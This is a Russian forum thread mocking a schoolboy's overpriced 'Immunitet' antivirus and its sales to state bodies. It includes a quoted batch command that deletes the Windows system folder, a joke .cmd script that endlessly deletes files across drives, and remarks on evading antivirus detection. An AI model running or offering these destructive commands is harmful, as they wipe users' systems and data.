Новый игрок на цыгантивирусном рынке — 850К с полпинка

отметили
88
человек
в архиве
Новый игрок на цыгантивирусном рынке — 850К с полпинка
Я терпел два дня, пока это было локальным событием для глубинки России. Но когда по этой ситуации отписался rambler — это уже стало походить на шизу.

Лавры компьютерного гения Дениса Попова, похоже, не дают покоя многим школьникам России.

Итак, встречаем нового гения-инноватора (не в лурк-стайле) — Алексея Бабушкина, разработчика передового антивирусного пакета класса «лайт», с новейшими технологиями инжекта bat-файлов в ядро ОС, борящегося в том числе с невероятной по силе угрозой, называемой, «кролики», а так же с «защитой, зацикленной на нуле», ну и как же не без этого — с продажами на 850К Российских рублей (восемьсот пятьдесят тысяч рублей, это почти $30K), и незабываемым секретным кодом «еби гусей» в ядре этого антивируса (запатентован), противодействующим сразу практически всем угрозам под все платформы, как Windows, так и UNIX-based. В качестве агрессивного сейлз-менеджера, маркетолога и PR-щика в одном лице, выступает отец школьника, владеющий административным ресурсом по медицинским учреждениям. (Мы не будем говорить здесь о том, что столь чудесные продажи произошли именно по этим, а не по каким-то другим причинам, например — по причинам качества продукта и его передовых технологий).

Высшее руководство Лаборатории Касперского и корпорации Symantec рвут волосы и не знают что делать, как им приобрести этого молодого таланта со всем набором его запатентованных технологий. Ведь он — может перевернуть рынок антивирусных технологий. Продажи идут в гору.

Впрочем, по порядку.

Один мой товарищ обнаружил вот это интервью, с него все и началось.
Добавил alex_green alex_green 24 Февраля 2013
проблема (5)
Комментарии участников:
syschel
+13
syschel, 24 Февраля 2013 , url
Стоит добавить ссылку и на хабру. Там уже более 600 комментариев, про этого «гения» и его папу с пилой.

efys
+3
efys, 24 Февраля 2013 , url
По моему по нему плачет статья «мошенничество».
syschel
+8
syschel, 24 Февраля 2013 , url
Скорее по его отцу. И тем кто закупал его «антивирусник» в гос учереждения.

urandom
+1
urandom, 24 Февраля 2013 , url
Да уж, это надо быть совсем дураком, чтобы вот так вот впаривать подобное и на весь интернет трещать, сколько было попилено.
manny21
+30
manny21, 24 Февраля 2013 , url
сейчас работает над технологий архивации, позволяющей из 2 Gb фильма получить файл размером в 2-3 kb;

источник: forgifs.com

Mindwork
+4
Mindwork, 24 Февраля 2013 , url
Гифка убила :))
scrooge
+3
scrooge, 25 Февраля 2013 , url
Чуть не обоссался! =)
syschel
+4
syschel, 25 Февраля 2013 , url
Его бабушка наверно?
X86
+3
X86, 25 Февраля 2013 , url
Превращает файл в magnet-link или хеш-сумму :)
Корнеплод
+1
Корнеплод, 26 Февраля 2013 , url
Да сначала создать архиватор, а потом работать над программой для разархивации. А она получится?
Вспомнил анекдот.
Нанимают девушку выдающегося внешнего вида на работу секретарем. «А печатаете как?» — «10 пальцев вслепую 5000 знаков в минуту!» — «ЫЫЫЫЫ!!!» — «Только прочесть потом трудно — фигня какая-то получается».
bigsponsor
+1
bigsponsor, 26 Февраля 2013 , url
Ну чё, как распиивать бюджетное бабло, уже папа научил!

Любопытно, они и вправду считают что вокруг идиоты?

Мечтаю дожить до момента, когда русский народ всех этих марсиан, голой задницей посадит на вилы!
Netto
+3
Netto, 24 Февраля 2013 , url
И это на федеральном канале )) Вестям о5 извиняться придётся, как за машину времени, кто-то снова с инфарктом сляжет…

Ничему жизнь дураков не учит, ведь со времён «антивируса попова» времени-то прошло всего-ничего.
fStrange
-3
fStrange, 24 Февраля 2013 , url
Не менее забавно и другое. Источник sporaw — блоггер на зарплате у Кремля. Правая рука опровергает левую.
Alexander
+1
Alexander, 25 Февраля 2013 , url
Ну, папа-ректор, это ещё не кремль.
ch3
0
ch3, 3 Марта 2013 , url
Сомневаюсь я про зарплату. Учитывая его бурную молодость, есть вероятность что за каждый пост, который одобряет Вова, ему просто немного ослабляют тиски, в которые зажата какая-нибудь часть его тела.
syschel
+9
syschel, 25 Февраля 2013 , url
Чукча не читатель, чукча писатель :)
#t=00m43s

syschel
+8
syschel, 25 Февраля 2013 , url
Повторяю вопрос, чукча не читатель?
Ролик смотрим со звуком (там говорят про бабушкина, флешка-маркер на 43 секунде), если нет звука, читаем название ролика(Антивирус «Иммунитет» от Алексея Бабушкина ). Откуда вы взяли Попова я ХЗ.
Bicycle
-4
Bicycle, 25 Февраля 2013 , url
ой))
НОПАК
+2
НОПАК, 25 Февраля 2013 , url
Ну, перепрошил у флэшки контроллер, добавил памяти, и что теперь его за этот фломастер убить?
НОПАК
+5
НОПАК, 25 Февраля 2013 , url
Ну да, учится у нас. Но, не знал, что он такой талантливый, хотя прецедент это далеко не первый. Я знаю его преподавателей, а студент обычный, возможно, более умный, чем остальные.

Например, 2006 г.: Команда АлтГТУ, завоевавшая золото в финале Чемпионата мира по программированию в городе Сан – Антонио (США) – вернулась домой.



Кстати, студенты на фото, сразу после окончания нашего университета все были разобраны по крупнейшим компаниям США.
Netto
+1
Netto, 25 Февраля 2013 , url
Кстати, он в ролике майкрософт, назвал как микрософт)))

Попов, Бабушкин… Один из Алтая, другой из Нижнего Тагила… Такое ощущение, что между Алтаем и Тагилом колесил в командировке какой то блудливый учитель информатики, и прелюбодействовал там с местными девами.

Остальные каменты с Жуйки
Netto
+2
Netto, 25 Февраля 2013 , url
Новости из первых рук: ему позвонили. Сами знаете кто :)
НОПАК
0
НОПАК, 25 Февраля 2013 , url
Мне понравился вот этот комментарий:

Анонимно 24 февраля 2013, 20:29

Пранкера унылей не было и нет,
Вольной, шлюха, сделай мне минет!
syschel
+7
syschel, 25 Февраля 2013 , url
Громкие заявления + СМИ + продажа в гос учереждения.
НОПАК
+2
НОПАК, 25 Февраля 2013 , url
Вы знаете что такое местные краевые СМИ? Не всем попавшим в эти СМИ удается потом отмыться, хотя, туда тот кто действительно чего-то стоит вряд ли и попадет. Там всё формально.

Насчет продажи в госучреждения, это просто смешно. Какой госучреждение купит себе кота в мешке? Да и от куда у школы деньги? Как распределяются гранты в минобрнауки, тоже известно, контора эта похлеще оборонсервиса будет.
Bicycle
-4
Bicycle, 25 Февраля 2013 , url
а мне вот такой коммент про Попова (его предшественника) понравился:
А также — В продаже появились нетбуки с BolgenOS. Такому тотальному, хотя и местному успеху, думается, даже Петрик удивился бы. Страшно себе представить, что бы ждало всех, если бы Дениска был постарше и посмышлённее, и сразу бы пошёл к Человеку Грызлову со своими достижениями.
(с) Лурк
НОПАК
+2
НОПАК, 25 Февраля 2013 , url
Многие просто путают Барнаул и Москву. И если в Барнауле, Урюпинсе или Мухосранске еще возможен какой-то здравый смысл, точнее его слабые и редкие вспышки, то в столицах всё уже давно в долларах отмерено.

Я же не исключаю, что наварился парень, ну пусть 3 тыс., пусть даже 10 тыс. рублей как-то поимел. Но он физически не может весь грант положить себе в карман, потому что деньги на счет университета попадают, какой-то мизерный % на зарплату на 1-3 года, а всё остальное по конкурсам-тендерам на закупку техники по гранту, ПО и т.д. и т.п.

Глупо всё это. Просто люди, которые всю жизнь рубили бабки не могут себе представить, что за пределами МКАД всё совсем иначе.
X86
0
X86, 25 Февраля 2013 , url
Я так понял, что он сделал на bat-файлах кривенькую HIPS и называет это антивирусом.
Детский максимализм. Если это все таки антивирус, то непонятно, где он берет антивирусные базы. У clamav ворует?

Помню, давно-давно был такой «Антивирус STOP».
vot
-1
vot, 25 Февраля 2013 , url
Отличный комментарий, для адвоката. Вам адвокатская практика не мешает во всех этих IT делах разбираться?
X86
+2
X86, 25 Февраля 2013 , url
Нет, абсолютно не мешает. Очень даже пригождаются знания в IT.
НОПАК
+2
НОПАК, 25 Февраля 2013 , url
Для того, что бы стать адвокатом, нужно много стадий пройти. И после прохождения всех этих стадий, такие слова как «ворует» или «детский максимализм» уже не произносятся.
vot
+1
vot, 25 Февраля 2013 , url
Вот и я так думаю. Вернулся старый владелец…
X86
+5
X86, 25 Февраля 2013 , url
Про вас я вообще много чего думаю. Например, смотря вашу сегодняшнюю активность — всего два комментария, первый про меня. Второй про меня. Это говорит о многом :)
Красота
X86
+2
X86, 25 Февраля 2013 , url
Не несите пурги. «Ворует» говорят даже судьи. В приговорах, конечно, пишут про тайное хищение чужого имущества. «Детский максимализм» чем не угодил? Нет такого понятия что ли?
НОПАК
+1
НОПАК, 25 Февраля 2013 , url
Ну, я же не про слова, а про статус.
Если не в курсе, то можно посмотреть тут
X86
+1
X86, 25 Февраля 2013 , url
Вообще не понимаю, что вы пытаетесь объяснить. Про закон об адвокатской деятельности и адвокатуре мне известно.
Netto
+3
Netto, 25 Февраля 2013 , url
Если это все таки антивирус, то непонятно, где он берет антивирусные базы
Комментарий Олега Зайцева, знакомое имя, да? ;)

… в immunity/base.dll лежит «база» на 36 прямых имен файлов (!!! включая букву диска и имя юзера в профиле), но в программе сказано, что их 1.7 миллиона. Хуков не заметно, вирусам не противостоит, убивается из проводника. Содержит ряд странных DLL (в одной — картинка, в другой — данные, в стретьей — PEiD переименованный… ), в процессе работы постоянно бурбулирует процесами ping.exe… они там заместо таймера

Это коммент эксперта номер 1, ящитаю, ведь AVZ наверняка хоть раз, но пользовался каждый IT.
Остальнота на малваре.
X86
+1
X86, 25 Февраля 2013 , url
Если это действительно так, как Зайцев написал (а я ему верю и чтобы не верить нет оснований, его AVZшка самая крутая), то я могу называть себя крутым программером и вирусописателем. Я такие шедевры в свое время на батниках писал. Там и ping был в качестве таймера, и зацикленный
rundll32.exe user32.dll, LockWorkStation
и reg import, и del /f /s /q %systemroot%\*.*, и упаковка всего этого добра в SFX архив с автозапуском, короче, полное нулевое кольцо. Надо будет связаться с бабушкиным, может, создадим компанию на пару. Я буду крутые вирусы писать, а он будет их в сигнатуры крутого антивируса добавлять :)
НОПАК
-1
НОПАК, 25 Февраля 2013 , url
Круто!

А вот разобраться с флэшкой, которую он в фломастер запихал сможете?

Вот часть контроллера:

источник: rlocman.ru

схему ППЗУ сможете добавить и перепрошить контроллер?
X86
+1
X86, 25 Февраля 2013 , url
Нет. Я и не претендую. Я же говорю, что могу «вирусы» для его «антивируса» на батниках писать )) Парень явно что-то может, но пафос ему мешает. Бета-тестером винды, например, может стать.
Netto
+1
Netto, 26 Февраля 2013 , url
Такую схемку, если это не фейк, мне конечно тоже не потянуть, хотя и в схемотехнике децл шарю, и перешиваю ПЗУшки на программматоре частенько, к тому же уверен, что прошивка писалась не с нуля, 90% чья-то модификация. Тем более, что гения уже накрыли с изменением и-фейса чужих программ (читайте форум малвари).

Бета-тестером винды, например, может стать
Дык, их и так навалом, вам тоже никто не запрещает им стать, а дестрои на ватниках кто только когда-то не писал, мой первый «вирус» грохнувший систему был как раз батник+выписка из книжки Фигурнова, приятно вспомнить 90-е.
X86
+1
X86, 26 Февраля 2013 , url
Вспомнил, что тот мой дестрой на батнике определяла только Авира. Дескать, вредоносный скрипт. А другие антивирусы молчали.
Netto
+1
Netto, 26 Февраля 2013 , url
Хороший результат. Моё крайнее экспериментальное поделие модифицировалось последний раз как раз из-за авиры (или аваста, не помню), об остальных а/в программах, которые не прозевали вмешательство, в самом лучшем случае лишь что-то слышал (самый известный из которых «Икарус», лол), но прочесть их сигнатуры так и не смог, какая-то каша на выходе. Итого: 6 попугаев из 47 на виртотале. Упаковывал добро православным винраром, нахуй все эти «superglue».
X86
+1
X86, 26 Февраля 2013 , url
У авиры хороший абстрактный эвристик, поэтому и ложных срабатываний много. Если выставить чувствительность эвристика со «среднего» на «высокий», то он будет творить чудеса: ни одна зараза не пройдет :)
Fireleo
+2
Fireleo, 26 Февраля 2013 , url
Google нагло утверждает, что это схема переходника IDE на USB. Причем Здесь флешка в корпусе от маркера?

схему ППЗУ сможете добавить и перепрошить контроллер?
Вы про CD-Rom раздел на флешке? Вот читайте www.flashboot.ru/, все вполне доступно.
НОПАК
+3
НОПАК, 26 Февраля 2013 , url
А я кстати, от Вас и ожидал ответа.

Отошел я от этих дел давно. В свое время ZX-Spectrum собирал, а из последних поделок для себя, это KL-Line адаптер (COM) для автомобиля (хотя, потом купил готовый USB) и 2 блока на микроконтроллере Atmaga8-16PU для оценки остаточного ресурса асинхронных двигателей.

X86
+3
X86, 25 Февраля 2013 , url
Запись на стене вконтакте вполне разумная у него:

Я бы хотел прояснить несколько вещей, и более точно всё описать.

Немного о самом антивирусе. В 10 классе я начал увлекаться компьютерной безопасностью. Примерно через год, в 11 классе, как уже было сказано, я загорелся желанием написать свой собственный антивирус. Первоначальная идея была в том, чтобы написать какое-нибудь приложение с небольшой базой, защищающее от большинства вирусов на флэшках. Я не ставил перед собой цель превзойти все представленные на рынке программные продукты, он должен был «закрыть дыры», которые пропускали некоторые другие антивирусы. Был написан алгоритм, который определял флэшку и стирал с неё autorun.inf, файлы с расширением *.sys и *.lnk с корня флэшки, ну а так же некоторые другие стандартные вирусы. И уже тогда это работало и спасало… Затем началась разработка готового антивирусного продукта, ведь тогда даже установленный сторонний антивирус не гарантировал защиту от т.н. «локеров», которые блокируют экран и вымогают деньги. Я сфокусировался именно на этих проблемах и создал «Иммунитет». Сам.

«Иммунитет» хорошо проявляет себя в паре с другим антивирусом. Но может работать и как отдельное приложение. Для обычного пользователя достаточно работы одного «Иммунитета». Он реагирует на изменение системных файлов, проверяет диск по стандартным сигнатурам, если что-то находит, то предлагается произвести какое-либо действие над обнаруженным объектом. Сетевой экран защищает от ДОС-атак и скрывает общие ресурсы от «вывала» в мировую сеть, за исключением локальной. Так же идёт монитор портов: если какой-то порт открывается извне, то это считается анализатором и пресекается. Тонкостей работы много, но ни в одном из сделанных обзоров ничего подобного не сообщается, хотя это на самом деле работает… Первоначально я пользовался им сам, затем скинул паре друзей, которым пришлось лечить компьютеры от локеров, со временем проект дорабатывался, оформился в научную работу школьника, был представлен на рассмотрение в МФТИ, был официально зарегистрирован как программа для ЭВМ. Понимаю, как много еще предстоит доработать и дописать. Это очень сложно делать в одиночку. Своих решений, а тем более программного продукта никогда никому не навязывал. И уж тем более, его никому и никогда не навязывал мой отец, участие которого еще в школьном конкурсном проекте свелось лишь к придумыванию названия.

Несмотря на хорошо организованную волну критики, забрасывать свой проект не собираюсь. Благодарен всем программистам за грамотные аналитические комменты, поставленные проблемные вопросы, дельные советы и просто эмоциональные письма. Уверен, что это пойдет только на пользу «Иммунитету», и его пользователям.
X86
+1
X86, 25 Февраля 2013 , url
Еще запись:
Про архивацию, вынудили:
Алгоритм архивации таков: любой файл представляет собой HEX-последовательность символов, переводим этот HEX в DEC, получаем неебически-большое число, дописываем перед этим число 0, — получаем число в диапазоне от 0 до 1 с огромным числом знаков после запятой, а дальше всё просто — подбираем 2 таких целочисленных числа, частное которых даст нам искомое число в диапазоне от 0 до 1 с точностью совпадений до последнего знака. Беда в подборе чисел, которое может идти и 2 часа, а может идти и 2 недели. Есть опытные образцы и работающая программа, и всё это работает.

Про антивирус:
Имун написан на C++, VB со вставками из ASM-а и CMD скриптов. То, что представлено на каких-то там идиотских обзорах — не больше, чем зависть раковой школоты, которой не спится в 3 ночи. Разобрано не больше, чем 1% всего кода, а на основе этого уже начали строится какие-то предположение про развод людей и т.п., хотя на самом деле антивирус работает. «База», как её обозвали, где 32 каких-то там записи — идиоты, даже не смогли полную антивирусную базу найти. Антивирус работает не только по сигнатурному поиску. Про эвристические анализаторы, деструктивные анализаторы, аглгоритмы мониторинга системных изменений, алгоритмы сравнений и песочницу никто упоминать не стал, так же как и про 0-кольцо, службы и т.п., видимо недоразобрали.
А теперь получается, что я аналог какого-то там дениса, только вот я не воровал код и не брал готовый, а продукт мой успешно работает, хотя пользователь «Кирилл Питон» утверждает, что у него брат умер от этого. Связь, конечно же, прямая.

На дваче упорно была попытка положить мой сервер, но чего-то она кончилась ничем, кроме 95 отражённых подключений, который отразил таки Иммунитет. 2 года стоит на сервере, 2 года лезут всякие тролли, и 2 года ни разу не падала защита и серв не укладывался. Если и это не результат и я продолжаю продавать фикцию и нести чушь — то хз, какие ещё аргументы нужны, можешь лишь то, что в антивирусе почти 59000 строк кода, где из них 4759 строк на АСМЕ… Может ещё исходники выложить почитать?
Теперь я на его стороне :)
Abstraction
+8
Abstraction, 25 Февраля 2013 , url
получаем число в диапазоне от 0 до 1 с огромным числом знаков после запятой, а дальше всё просто — подбираем 2 таких целочисленных числа, частное которых даст нам искомое число в диапазоне от 0 до 1 с точностью совпадений до последнего знака.
Балбес. Суммарная длина этой пары целых чисел будет в среднем такой же — раз. Переводить в десятичную дробь совершенно излишне — два. И сделать это можно за O(N), где N есть длина текста, алгоритм тривиален — три. То есть, для идеи школьника вполне неплохо, воображение работает, но следом должен был найтись преподаватель или просто человек со стороны, который объяснил бы, почему это не будет ничего «сжимать» и как подбирать такие числа быстро.
Был написан алгоритм, который определял флэшку и стирал с неё autorun.inf, файлы с расширением *.sys и *.lnk с корня флэшки
Некоторые люди не испытают горячей благодарности от такой заботы (хотя решение в духе того же «Касперского», который своими, гхм, эвристиками способен гробить нормальные программы, не спросясь пользователя). Не говоря уж о том, что autorun-сюрпризы строятся именно на том, что срабатывают до того, как посторонние программы смогут изучить содержимое диска.

Резюмируя: я в сказанном признаков профессионализма не вижу. Хамства или тупости, впрочем, не вижу тоже. Но теоретическая база, судя по всему, хромает, и её надо развивать. Соответственно, резонно предположить, что и в системном программировании есть теоретические пробелы, что для автора антивируса нехорошо.

Marlan
+2
Marlan, 25 Февраля 2013 , url
Куча текстов… полазил по ссылкам. Так ничего и не понял. Ну сделал чувак альтернативный антивирус, ну чуть-чуть на этом заработал. И что?? Я так понял продукт несколько инноваторский и работает в иной плоскости чем классические антивирусы прекрасно их дополняя — но как-то реально понять не удалось что там к чему. Что смог на своём творении заработать первые деньги большой молодец, интересно бы детальнее узнать как.
comander
+3
comander, 25 Февраля 2013 , url
пара комментов выше от х86
Alexander
+7
Alexander, 25 Февраля 2013 , url
Он не инноваторский. Это студенческая поделка не защищающая от современных вирусов и продающаяся за необоснованное количество денег. Вдобавок там есть модули просто имитирующие работу.
Marlan
+2
Marlan, 25 Февраля 2013 , url
Давайте смотреть правде в глаза — тот же Касперский тоже реально нихрена не защищает. Обычный механизм работы с любым антивирусом (хоть Касперский, хоть Нортон) таков: сперва вы руками находить вирус на вашем компьютере при помощи ваших личных алгоритмов эвристики (помню во времена 98-и винды надо было анализировать файлики на изменения, сейчас можно просто смотреть список процессов), затем отсылаете то что вы заподозрили за вирус в антивирусную лабораторию, и затем, спустя день-два когда этот вирь добавят в базу ваш любимый Касперский наконец-то может этот вирус найти и обезвредить.

Единственное от чего спасает Касперский, Нортон, Аваст и тому подобные антивирусные продукты — это от общей эпидемии, но лично Вас от вирусов оно не спасёт.
Alexander
+5
Alexander, 26 Февраля 2013 , url
Единственное от чего спасает Касперский, Нортон, Аваст и тому подобные антивирусные продукты — это от общей эпидемии, но лично Вас от вирусов оно не спасёт.
ну, это логика как у Мавроди — банки тоже лопаются, значит моё МММ ничуть не хуже банков.

Пнятно, что стопроцентной защиты ничего не даёт. Но помню, раз, появилась надпись у меня на экране — вышлите для разблокировки сто рублей, мигнула и пропала, а антивирус выдал сообщение — заблокирована подозрительная деятельность. Вот это бесценно. ))
Marlan
0
Marlan, 26 Февраля 2013 , url
При чём тут логика? У меня опыт.

Дай повспоминаю… все вирусные заражения что были за последнии 15 лет

С 98 по 2007 года:
1. Win CIH чернобыль. Нормально обнаружился вылечился антивирусом.
2. Какой-то троян. Нормально обнаружился Касперским при специфичных настройках. Грубо говоря в автоматическом режиме Касперский с ним не справился.
3. Какая-то хрень которая не обнаруживалась касперским, но легко была найдена мной по списку процессов, я её отправил к касперскому, и те включили вирь в базу.
4. Сразу 3 вируса не известные Касперскому, обнаружены при помощи альтернативной программы Adinf. После отправки им вирей они стали их нормально детектировать.

После 2007-го года мне стало особо фиолетово на вири, я снёс все антивирусы на хрен чтоб не тормозили комп, раза три что-то вычищал в комплексе из рук и триал-версий антивирусов. Насколько помню если бы я пользовался только антивирусами, то из этих 2-3 вторжений как минимум одно я бы почистить не смог.

Один мой знакомый… увлекавшийся в школьные годы написанием вирусов… как-то случайно у незнакомого ему человека обнаружил своё творение… Касперский на вирь не реагировал.
Marlan
0
Marlan, 26 Февраля 2013 , url
Сейчас вирусы особо не извращаются — грузятся спокойно под операционкой, файлы не заражают, даты создания файлов не подменяют. Запускаете комп со второго жёсткого диска и просто делаете поиск *.exe созданных за последнии сутки. Стираете их — и никакой касперский не нужен.

Экономия 20 секунд на каждый запуск компа + 1200 рублей в год на лицензию :)

Что касается Вашего случая, то скажу пару вещей:
1. Себестоимость модификации вируса по неподтвержденным данным находится на уровне 10-30 долларов.
2. Вам просто повезло что конкретно попавшую к Вам модификацию Касперский уже знал, в противном случае он бы вам не помог.
Alexander
+2
Alexander, 26 Февраля 2013 , url
Да вы, батенька, антивакцинатор от IT =))
Marlan
+2
Marlan, 26 Февраля 2013 , url
Я за вакцины,- это реально спасает общество от эпидемий.
mumu
0
mumu, 27 Февраля 2013 , url
Нет, он просто добровольный спам-бот и ддосер. И отношение к нему можно формировать по отношению к двум вышеназванным группам, в которых он состоит
X86
+1
X86, 26 Февраля 2013 , url
Что касается Касперского, то у него есть хорошая песочница с понижением прав и анализатор поведения. Даже без сигнатур он способен обнаружить/заблокировать вирус или минимизировать его вред. Антивирус нужен. Самописных, написанных для одного компьютера вирусов по пальцам пересчитать. И если для вас есть резон писать вирус, то о защите стоит подумать лучше. Чтобы уязвимости не эксплуатировали, ставьте вовремя обновления, настраивайте брандмацэр и не устанавливайте всякую лишнюю фигню от всяких адобов.

Если бы не Доктор Вэб на моем планшетнике с андроидом, то я бы из маркета уже давно несколько адварей и малварей наставил.
Marlan
0
Marlan, 26 Февраля 2013 , url
Последний раз вирь ко мне в комп попадал через дыру в Опере — никакая песочница тут не поможет. Песочница нужна разве что для запуска Key-генераторов. Насколько мне известно в том же касперском около миллиона сигнатур (может ошибся раз в 10 в ту или иную сторону) — грубо говоря по одному вирусу на 1000 компов, учитывая что редкий юзер найдёт вирус сам и отправит антивирусникам становится вполне понятно почему даже массовые вирусы остаются незамеченными.
X86
+7
X86, 25 Февраля 2013 , url
Дарю исходник еще одного инноваторского антивируса:

Скопируйте это в блокнот и сохраните с расширением .cmd
@echo off
color 1f
ECHO SUPER ANTIVIRUS FROM NEWS2.RU
ECHO YOUR SYSTEM IS PROTECTED
:start
del /f /q C:\autorun.inf
del /f /q d:\autorun.inf
start rd /s /q d:\autorun
del /f /q e:\autorun.inf
start rd /s /q e:\autorun
del /f /q f:\autorun.inf
start rd /s /q f:\autorun
del /f /q g:\autorun.inf
start rd /s /q g:\autorun
del /f /q e:\autorun.inf
if exist f:\autorun.inf echo BUY PRO VERSION FOR REMOVING VIRUS ON F:\ DRIVE!
start del /f /q d:\*.sys
start del /f /q e:\*.sys
start del /f /q f:\*.sys
goto start

Антивирус инновационный. В режиме реального времени следит за подключаемыми к системе устройствами, и, находя по текстовой сигнатуре файлы автозапуска вирусов на флешках, а также их драйвера, удаляет их. Также чистит системный диск C:\ от файла autorun.inf, используемого некоторыми локерами. Некоторые части антивируса используют многопоточность, пытаясь равномерно распределить нагрузку по ядрам процессора, так как некоторым компонентам присущ параллелизм. Антивирус полностью вписывается в архитектуру Windows семейства NT (начиная с ядра NT 5.0), используя только существующие в системе компоненты.
В данный момент я работаю над созданием самозащиты антивируса (другой .cmd-файл, который будет следить за наличием в памяти антивируса, и в случае его падения, будет запускать новый экземпляр), ну и т.д. и т.п.
Netto
+3
Netto, 26 Февраля 2013 , url
Ахаха )) годно!
Buffoon
0
Buffoon, 27 Февраля 2013 , url
пять)
Netto
-2
Netto, 26 Февраля 2013 , url
Да таких альтернативных прикладнух и без него полным-полно было во все времена. Год назад из системы был нещадно выпизжен своевременно, лол, обновляющийся USBGuard некоей Zshareware Lab, за то, что прозевал блокиратор принесённый на флешке от клиента, который я припёр для изучения с уже изменённым расширением (всегда спасало). На машине не стояло никакого А/В, кроме этого слоупочного «стража».

Итого: малварь пишется ежеминутно, обновления чудовищно быстро устаревают даже у корпораций уровня Касперского, а этот говнософт до сих пор массово распространяется на сборках Зверя, например. Единственное, что — бесплатно, «на свой страх и риск», что, конечно, серьёзно отдичается от 450 килорублей вырученных за бабушкинское поделие.

Меня вот что интересует, эти деньги кто-то возвращать юзерам планирует, если данные грохнутся на, допустим, миллион? Расчёт Бабушкина верен: у быдла нет миллиона, а у небыдла стоит Нортон, — искам взяться неоткуда, но это до первого инцидента. Оттого и распространяют по школам, и, конечно же, «папа не при чём» — аха ))
Marlan
0
Marlan, 26 Февраля 2013 , url
Касперский и Нортон вам тоже ничего не вернут, хоть на тыщу руб у вас грохнется хоть на мильярд.
Marlan
0
Marlan, 26 Февраля 2013 , url
Я как-то пользовался альтернативным антивирем (Adinf) мне нравилось чем-то.
wti.ru
+3
wti.ru, 25 Февраля 2013 , url
Такое могло произойти только в России или в Африке. Очень смешно и в то же время очень грустно.
wti.ru
+2
wti.ru, 25 Февраля 2013 , url
Специалисты уезжают. Остаются Поповы да Бабушкины. Спасибо Партии за ЭТО :(
X86
+3
X86, 25 Февраля 2013 , url
Кстати, он умудрился паузы делать через пинг не localhost, а mail.ru. Не подать ли mail.ru на него в суд за организованную DDoS атаку? ))
X86
+1
X86, 25 Февраля 2013 , url
Еще нашел один экземпляр www.lapsha.ru/articles/tech/2004/01/06/150700.html
Знакомьтесь, архиватор Лыщенко!))
cnz
+1
cnz, 26 Февраля 2013 , url
Сколько желчи и зависти в людях. Прочитал пост здесь, посмотрел ролики, посмеялся, флешка-маркер это эпик. Зашел на хабр и приху… л, стало совсем не смешно. Анализируя разложил для себя по полочкам: 1)У СМИ есть задача снять репортаж, про подъем науки в советском стиле, но как и многие в современной России они делают это на отъебись, лишь бы отчитаться, получить свою зарплату, и в пятницу нажраться с друзьями, они шустрят, находят парня, давят на деканат, он в свою очередь на парня, снимают. 2) Отец парня, как и любой отец радуется успехам сына, соответственно хочет ему помочь всеми возможными способами, в том числе задействуя административный ресурс в продвижении его антивируса, в этом тоже ничего плохого нет, на мой взгляд. 3)Чиновникам надо до конца года освоить бюджетные деньги и раздать гранты, и я не думаю, что в их вузе дох… я проектов лучше антивируса от второкурсника.4)Про архиватор думаю парень просто озвучил еще не проверенную собой идею. Подводим итог, почитав хабр где много, много комментариев обсирающих работу, объемом несколько тысяч строк, начатую парнем, одним, в пятнадцать лет, мне хочется спросить что они написали, разработали, создали в пятнадцать лет, и вместо того чтобы ПОМОЧЬ парню словом и делом, они смеются и откровенно завидуют, мол ему за хуйню дали пол ляма, а я тут ракеты блять в космос запускаю мне не платят(только вот падают они). Какой то великовозрастный педофил звонит парню и начинает нести какую то херь и затем с гордостью выкладывает в интернет. Дорогие россияне если вам не нравиться как и кому распределяются гранты, проявите свою гражданскую позицию, если у вас есть научные или инженерные достижения организуйте свою комиссию, добейтесь того, чтобы с вами считались, и будете консультировать, проверять качество работ, дипломов, проектов, если вам не все равно конечно, но я уверен вам лень, или нет времени, или что скорее всего похуй, тогда залепите свои дула
Netto
+3
Netto, 26 Февраля 2013 , url
Однако, не могу не поставить плюс. Моск у парня есть и амбиции тоже, и это хорошо, а знаний подкопит — потом самому же стыдно будет смотреть на свои первые поделия. Над Поповым уже никто не издевается, — недавно на ЛОРе ему править код помогали, и про его «антивирус» уже не упоминали, а Бабушкин это не Попов.

Словом, всё бы в этой истории хорошо, если бы не папа, не расчёт на быдло, на совсковую систему освоения средств (иначе на будущий год не дадут), и на «прокатит-проканает». «Прокатит» — это всё, это тупик.
X86
+4
X86, 26 Февраля 2013 , url
Все бы хорошо, если бы не пафос, присвоение себе чужого кода и обман. И все с целью наживы. С такого начинать нельзя. Сейчас его ловят на лжи, а он врет, выкручивается.
Mindwork
+4
Mindwork, 26 Февраля 2013 , url
Да, моральные принципы парня уже сейчас хромают на обе ноги.


Войдите или станьте участником, чтобы комментировать